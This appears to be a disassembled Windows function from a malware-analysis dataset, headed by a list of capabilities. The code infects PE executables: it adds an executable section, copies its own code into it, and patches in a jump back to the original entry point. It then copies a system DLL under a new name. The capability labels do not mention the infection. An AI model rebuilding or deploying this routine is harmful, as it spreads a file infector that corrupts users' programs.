Function at 0x10002910
Capabilities:
Copy file
Get common file path
Parse pe header
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5e4
push ebx
push esi
push edi
mov byte [ebp - 0x20], 0
mov ecx, 7
xor eax, eax
lea edi, [ebp - 0x1f]
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
push 0
push 0
push 0x1e
lea eax, [ebp - 0x20]
push eax
push 0xffffffffffffffff
mov ecx, dword [ebp + 8]
push ecx
push 0x200
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push 0x1001709c
lea edx, [ebp - 0x20]
push edx
call dword [sym.imp.MSVCRT.dll_fopen]
add esp, 8
mov dword [ebp - 0x448], eax
cmp dword [ebp - 0x448], 0
jne 0x10002972
xor eax, eax
jmp 0x10002ecf
push 0
push 0
mov eax, dword [ebp - 0x448]
push eax
call dword [sym.imp.MSVCRT.dll_fseek]
add esp, 0xc
mov ecx, dword [ebp - 0x448]
push ecx
push 1
push 0x40
lea edx, [ebp - 0x488]
push edx
call dword [sym.imp.MSVCRT.dll_fread]
add esp, 0x10
mov eax, dword [ebp - 0x488]
and eax, 0xffff
cmp eax, 0x5a4d
je 0x100029ba
xor eax, eax
jmp 0x10002ecf
push 0
mov ecx, dword [ebp - 0x44c]
push ecx
mov edx, dword [ebp - 0x448]
push edx
call dword [sym.imp.MSVCRT.dll_fseek]
add esp, 0xc
mov eax, dword [ebp - 0x448]
push eax
push 1
push 0xf8
lea ecx, [ebp - 0x5ac]
push ecx
call dword [sym.imp.MSVCRT.dll_fread]
add esp, 0x10
cmp dword [ebp - 0x5ac], 0x4550
je 0x10002a04
xor eax, eax
jmp 0x10002ecf
mov edx, dword [ebp - 0x5a6]
and edx, 0xffff
mov dword [ebp - 0x43c], edx
mov eax, dword [ebp - 0x570]
mov dword [ebp - 0x230], eax
mov ecx, dword [ebp - 0x574]
mov dword [ebp - 0x5b4], ecx
mov edx, dword [ebp - 0x584]
mov dword [ebp - 0x5bc], edx
mov dword [ebp - 0x48c], 0
jmp 0x10002a55
mov eax, dword [ebp - 0x48c]
add eax, 1
mov dword [ebp - 0x48c], eax
mov ecx, dword [ebp - 0x48c]
cmp ecx, dword [ebp - 0x43c]
jge 0x10002a80
mov edx, dword [ebp - 0x448]
push edx
push 1
push 0x28
lea eax, [ebp - 0x4b4]
push eax
call dword [sym.imp.MSVCRT.dll_fread]
add esp, 0x10
jmp 0x10002a46
mov ecx, dword [ebp - 0x230]
push ecx
push 0x12
call fcn.100028f0
add esp, 8
mov dword [ebp - 0x5b0], eax
mov dx, word [ebp - 0x5a6]
add dx, 1
mov word [ebp - 0x5a6], dx
mov ecx, 0xa
xor eax, eax
lea edi, [ebp - 0x5e4]
rep stosd dword es:[edi], eax
mov eax, dword [str..mdata]
mov dword [ebp - 0x5e4], eax
mov cx, word [0x10017098]
mov word [ebp - 0x5e0], cx
mov dl, byte [0x1001709a]
mov byte [ebp - 0x5de], dl
mov eax, dword [ebp - 0x5b4]
push eax
mov ecx, dword [ebp - 0x4a8]
add ecx, dword [ebp - 0x4ac]
push ecx
call fcn.100028f0
add esp, 8
mov dword [ebp - 0x5d8], eax
mov edx, dword [ebp - 0x5b4]
push edx
mov eax, dword [ebp - 0x5b0]
push eax
call fcn.100028f0
add esp, 8
mov dword [ebp - 0x5dc], eax
mov ecx, dword [ebp - 0x230]
push ecx
mov edx, dword [ebp - 0x4a0]
add edx, dword [ebp - 0x4a4]
push edx
call fcn.100028f0
add esp, 8
mov dword [ebp - 0x5d0], eax
mov eax, dword [ebp - 0x230]
push eax
push 0x1000
call fcn.100028f0
add esp, 8
mov dword [ebp - 0x5d4], eax
mov dword [ebp - 0x5c0], 0xe0000020
mov ecx, dword [ebp - 0x230]
push ecx
mov edx, dword [ebp - 0x590]
add edx, 0x1000
push edx
call fcn.100028f0
add esp, 8
mov dword [ebp - 0x590], eax
mov eax, dword [ebp - 0x5b4]
push eax
push 0x1000
call fcn.100028f0
add esp, 8
mov ecx, dword [ebp - 0x55c]
add ecx, eax
mov dword [ebp - 0x55c], ecx
mov dword [ebp - 0x4dc], 0
mov dword [ebp - 0x4d8], 0
push 2
push 0
mov edx, dword [ebp - 0x448]
push edx
call dword [sym.imp.MSVCRT.dll_fseek]
add esp, 0xc
mov eax, dword [ebp - 0x5d8]
mov dword [ebp - 0x22c], eax
mov ecx, dword [ebp - 0x22c]
mov dword [ebp - 0x584], ecx
push 0
mov edx, dword [ebp - 0x43c]
imul edx, edx, 0x28
mov eax, dword [ebp - 0x44c]
lea ecx, [eax + edx + 0xf8]
push ecx
mov edx, dword [ebp - 0x448]
push edx
call dword [sym.imp.MSVCRT.dll_fseek]
add esp, 0xc
mov eax, dword [ebp - 0x448]
push eax
push 1
push 0x28
lea ecx, [ebp - 0x5e4]
push ecx
call dword [sym.imp.MSVCRT.dll_fwrite]
add esp, 0x10
push 0
mov edx, dword [ebp - 0x44c]
push edx
mov eax, dword [ebp - 0x448]
push eax
call dword [sym.imp.MSVCRT.dll_fseek]
add esp, 0xc
mov ecx, dword [ebp - 0x448]
push ecx
push 1
push 0xf8
lea edx, [ebp - 0x5ac]
push edx
call dword [sym.imp.MSVCRT.dll_fwrite]
add esp, 0x10
push 2
push 0
mov eax, dword [ebp - 0x448]
push eax
call dword [sym.imp.MSVCRT.dll_fseek]
add esp, 0xc
mov dword [ebp - 0x48c], 0
jmp 0x10002c8f
mov ecx, dword [ebp - 0x48c]
add ecx, 1
mov dword [ebp - 0x48c], ecx
mov edx, dword [ebp - 0x230]
push edx
push 0x1000
call fcn.100028f0
add esp, 8
cmp dword [ebp - 0x48c], eax
jge 0x10002cbf
mov eax, dword [ebp - 0x448]
push eax
push 0
call dword [sym.imp.MSVCRT.dll_fputc]
add esp, 8
jmp 0x10002c80
push 0
mov ecx, dword [ebp - 0x5d0]
push ecx
mov edx, dword [ebp - 0x448]
push edx
call dword [sym.imp.MSVCRT.dll_fseek]
add esp, 0xc
jmp 0x10002eca
pushal
lea eax, [0x10002cdd]
mov dword [ebp - 0x444], eax
lea edx, [0x10002d62]
sub edx, eax
mov dword [ebp - 0x440], edx
popal
mov dword [ebp - 0x48c], 0
jmp 0x10002d99
mov eax, dword [ebp - 0x48c]
add eax, 1
mov dword [ebp - 0x48c], eax
mov ecx, dword [ebp - 0x48c]
cmp ecx, dword [ebp - 0x440]
jge 0x10002dc9
mov edx, dword [ebp - 0x448]
push edx
mov eax, dword [ebp - 0x444]
add eax, dword [ebp - 0x48c]
movsx ecx, byte [eax]
push ecx
call dword [sym.imp.MSVCRT.dll_fputc]
add esp, 8
jmp 0x10002d8a
mov edx, dword [ebp - 0x22c]
add edx, dword [ebp - 0x440]
mov eax, dword [ebp - 0x5bc]
sub eax, edx
sub eax, 5
mov dword [ebp - 0x5bc], eax
mov byte [ebp - 0x5b8], 0xe9
mov ecx, dword [ebp - 0x448]
push ecx
push 1
push 1
lea edx, [ebp - 0x5b8]
push edx
call dword [sym.imp.MSVCRT.dll_fwrite]
add esp, 0x10
mov eax, dword [ebp - 0x448]
push eax
push 1
push 4
lea ecx, [ebp - 0x5bc]
push ecx
call dword [sym.imp.MSVCRT.dll_fwrite]
add esp, 0x10
mov edx, dword [ebp - 0x448]
push edx
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
mov word [ebp - 0x438], 0
mov ecx, 0x81
xor eax, eax
lea edi, [ebp - 0x436]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov word [ebp - 0x228], 0
mov ecx, 0x81
xor eax, eax
lea edi, [ebp - 0x226]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [ebp - 0x438]
push eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.100028b0
add esp, 8
push str.info.dll
lea edx, [ebp - 0x438]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x208
lea eax, [ebp - 0x228]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push str.helpsvc.dll
lea ecx, [ebp - 0x228]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0
lea edx, [ebp - 0x438]
push edx
lea eax, [ebp - 0x228]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
xor eax, eax
jmp 0x10002ecf
jmp 0x10002d62
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret